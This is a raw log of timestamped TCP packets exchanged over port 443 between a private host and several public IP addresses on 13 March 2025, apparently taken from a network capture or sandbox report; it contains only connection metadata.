Mar 13, 2025 10:07:56.103518963 CET	443	49728	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.103579998 CET	49728	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.103867054 CET	49728	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.103924036 CET	443	49728	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.103991032 CET	49728	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.103996992 CET	443	49728	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.140556097 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.156099081 CET	49728	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.230945110 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.231240034 CET	443	49731	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.231450081 CET	49729	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.231487036 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.231564045 CET	49731	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.231591940 CET	443	49731	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.232625008 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.232716084 CET	49729	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.232799053 CET	443	49731	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.232861996 CET	49731	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.233091116 CET	49729	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.233175039 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.233397961 CET	49731	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.233489990 CET	443	49731	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.233570099 CET	49729	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.233597040 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.233618021 CET	49731	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.233627081 CET	443	49731	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.281145096 CET	49729	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.293946981 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.296732903 CET	49731	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.337434053 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.358674049 CET	443	49733	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:56.369056940 CET	49733	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:56.369107962 CET	443	49733	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:56.370321989 CET	443	49733	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:56.370397091 CET	49733	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:56.372333050 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.372360945 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.373656034 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.373725891 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.391796112 CET	49733	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:56.392060995 CET	443	49733	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:56.398298979 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.398533106 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.401633024 CET	49733	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:56.401655912 CET	443	49733	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:56.401741982 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.401766062 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.454047918 CET	49733	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:56.454065084 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.605067968 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.605408907 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.605432034 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.606506109 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.606560946 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.607176065 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.607242107 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.607425928 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.607435942 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.657159090 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.800842047 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.808806896 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.808939934 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.808964014 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.809001923 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.810595989 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.817679882 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.817761898 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.817769051 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.817794085 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.817845106 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.818289995 CET	49727	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.818306923 CET	443	49727	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.856019974 CET	443	49728	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.856127024 CET	443	49728	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.856185913 CET	49728	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.856931925 CET	49728	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.856955051 CET	443	49728	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.902868032 CET	443	49733	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:56.926084042 CET	443	49733	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:56.926161051 CET	49733	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:56.926654100 CET	49733	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:56.926678896 CET	443	49733	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:56.938606977 CET	49734	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:56.938651085 CET	443	49734	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:56.938711882 CET	49734	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:56.939102888 CET	49734	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:56.939116001 CET	443	49734	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:56.971219063 CET	443	49731	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.971317053 CET	443	49731	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.971375942 CET	49731	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.972105980 CET	49731	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.972126961 CET	443	49731	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.984663963 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.987742901 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.987790108 CET	49729	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.987807035 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.987826109 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:56.987859011 CET	49729	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.988102913 CET	49729	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:56.988116980 CET	443	49729	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.038674116 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.050889969 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.050971985 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:57.051001072 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.051037073 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:57.096448898 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.099452972 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.099493980 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:57.099512100 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.099536896 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.099567890 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:57.099740982 CET	49730	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:57.099752903 CET	443	49730	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.325531960 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.326214075 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.326320887 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:57.326338053 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.326407909 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:57.346858978 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.346909046 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.346973896 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:57.346992016 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.347011089 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:57.347065926 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:57.347274065 CET	49732	443	192.168.2.12	3.125.36.175
Mar 13, 2025 10:07:57.347287893 CET	443	49732	3.125.36.175	192.168.2.12
Mar 13, 2025 10:07:58.859782934 CET	443	49734	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:58.860266924 CET	49734	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:58.860296011 CET	443	49734	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:58.861392021 CET	443	49734	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:58.861474037 CET	49734	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:58.861902952 CET	49734	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:58.861968994 CET	443	49734	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:58.862093925 CET	49734	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:58.862101078 CET	443	49734	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:58.906831980 CET	49734	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:59.394982100 CET	443	49734	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:59.437549114 CET	49734	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:59.437592030 CET	443	49734	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:59.438231945 CET	49734	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:07:59.438338041 CET	443	49734	34.117.59.81	192.168.2.12
Mar 13, 2025 10:07:59.438391924 CET	49734	443	192.168.2.12	34.117.59.81
Mar 13, 2025 10:08:01.149853945 CET	443	49703	172.66.0.235	192.168.2.12
Mar 13, 2025 10:08:01.203617096 CET	49703	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:08:01.262249947 CET	443	49703	172.66.0.235	192.168.2.12
Mar 13, 2025 10:08:01.262415886 CET	49703	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:08:02.822596073 CET	443	49701	138.197.101.40	192.168.2.12
Mar 13, 2025 10:08:02.822684050 CET	443	49701	138.197.101.40	192.168.2.12
Mar 13, 2025 10:08:02.822756052 CET	49701	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:08:03.112628937 CET	49701	443	192.168.2.12	138.197.101.40
Mar 13, 2025 10:08:03.112658978 CET	443	49701	138.197.101.40	192.168.2.12
Mar 13, 2025 10:08:03.112684011 CET	49703	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:08:03.112719059 CET	443	49703	172.66.0.235	192.168.2.12
Mar 13, 2025 10:08:03.951901913 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:03.951946020 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:03.952028990 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:03.952361107 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:03.952373981 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:06.454915047 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:06.455022097 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:06.457882881 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:06.457896948 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:06.458189964 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:06.466720104 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:06.508332014 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.347779036 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.347806931 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.347824097 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.347909927 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.347933054 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.347981930 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.428415060 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.428443909 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.428493977 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.428508997 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.428553104 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.477117062 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.477144957 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.477183104 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.477205038 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.477238894 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.477264881 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.527368069 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.527398109 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.527508020 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.527527094 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.527569056 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.528635979 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.528654099 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.528703928 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.528711081 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.528747082 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.548202991 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.548224926 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.548297882 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.548326015 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.548367023 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.566705942 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.566725016 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.566775084 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.566786051 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.566826105 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.587176085 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.587198973 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.587250948 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.587260008 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.587321043 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.603084087 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.603101015 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.603147030 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.603171110 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.603223085 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.603223085 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.618940115 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.618962049 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.619005919 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.619023085 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.619052887 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.619071960 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.631937027 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.631956100 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.632003069 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.632010937 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.632064104 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.641767979 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.641786098 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.641845942 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.641856909 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.641900063 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.652620077 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.652638912 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.652728081 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.652757883 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.652811050 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.655908108 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.655975103 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.655982971 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.655997992 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.656024933 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.656045914 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.656069994 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.656083107 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.656090975 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.656097889 CET	49735	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.656102896 CET	443	49735	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.844829082 CET	49736	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.844857931 CET	49737	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.844878912 CET	443	49736	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.844917059 CET	443	49737	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.844939947 CET	49736	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.844969034 CET	49737	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.845118999 CET	49738	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.845166922 CET	443	49738	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.845273972 CET	49738	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.845808983 CET	49739	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.845835924 CET	49736	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.845839024 CET	443	49739	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.845848083 CET	443	49736	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.845911980 CET	49739	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.845937014 CET	49737	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.845953941 CET	443	49737	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.846029043 CET	49739	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.846041918 CET	443	49739	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.846246958 CET	49738	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.846263885 CET	443	49738	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.846935987 CET	49740	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.846947908 CET	443	49740	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:07.846996069 CET	49740	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.847150087 CET	49740	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:07.847157955 CET	443	49740	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.235940933 CET	443	49736	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.236512899 CET	49736	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.236541033 CET	443	49736	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.236967087 CET	49736	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.236970901 CET	443	49736	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.259857893 CET	443	49740	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.260472059 CET	49740	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.260483980 CET	443	49740	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.260972977 CET	49740	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.260977983 CET	443	49740	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.266005039 CET	443	49739	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.266551018 CET	49739	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.266570091 CET	443	49739	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.266982079 CET	49739	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.266987085 CET	443	49739	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.369754076 CET	443	49737	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.370399952 CET	49737	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.370425940 CET	443	49737	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.370872974 CET	49737	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.370878935 CET	443	49737	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.405783892 CET	443	49738	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.406527996 CET	49738	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.406546116 CET	443	49738	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.407393932 CET	49738	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.407398939 CET	443	49738	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.430409908 CET	443	49711	2.23.227.208	192.168.2.12
Mar 13, 2025 10:08:10.430506945 CET	49711	443	192.168.2.12	2.23.227.208
Mar 13, 2025 10:08:10.784931898 CET	443	49739	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.785080910 CET	443	49739	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.785178900 CET	49739	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.785459042 CET	49739	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.785492897 CET	443	49739	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.785507917 CET	49739	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.785516024 CET	443	49739	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.788794994 CET	49741	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.788834095 CET	443	49741	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.788939953 CET	49741	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.789108038 CET	49741	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.789124966 CET	443	49741	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.829538107 CET	443	49736	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.829631090 CET	443	49736	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.829708099 CET	49736	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.829920053 CET	49736	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.829940081 CET	443	49736	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.829952002 CET	49736	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.829958916 CET	443	49736	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.833121061 CET	49742	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.833158970 CET	443	49742	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.833256960 CET	49742	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.833427906 CET	49742	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.833444118 CET	443	49742	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.933293104 CET	443	49737	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.933325052 CET	443	49737	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.933372021 CET	443	49737	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.933404922 CET	49737	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.933450937 CET	49737	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.933703899 CET	49737	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.933722019 CET	443	49737	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.933732986 CET	49737	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.933739901 CET	443	49737	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.937024117 CET	443	49740	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.937050104 CET	49743	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.937086105 CET	443	49743	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.937119007 CET	443	49740	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.937187910 CET	49743	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.937211990 CET	49740	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.937329054 CET	49743	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.937344074 CET	443	49743	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:10.937458992 CET	49740	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:10.937474966 CET	443	49740	13.107.246.60	192.168.2.12
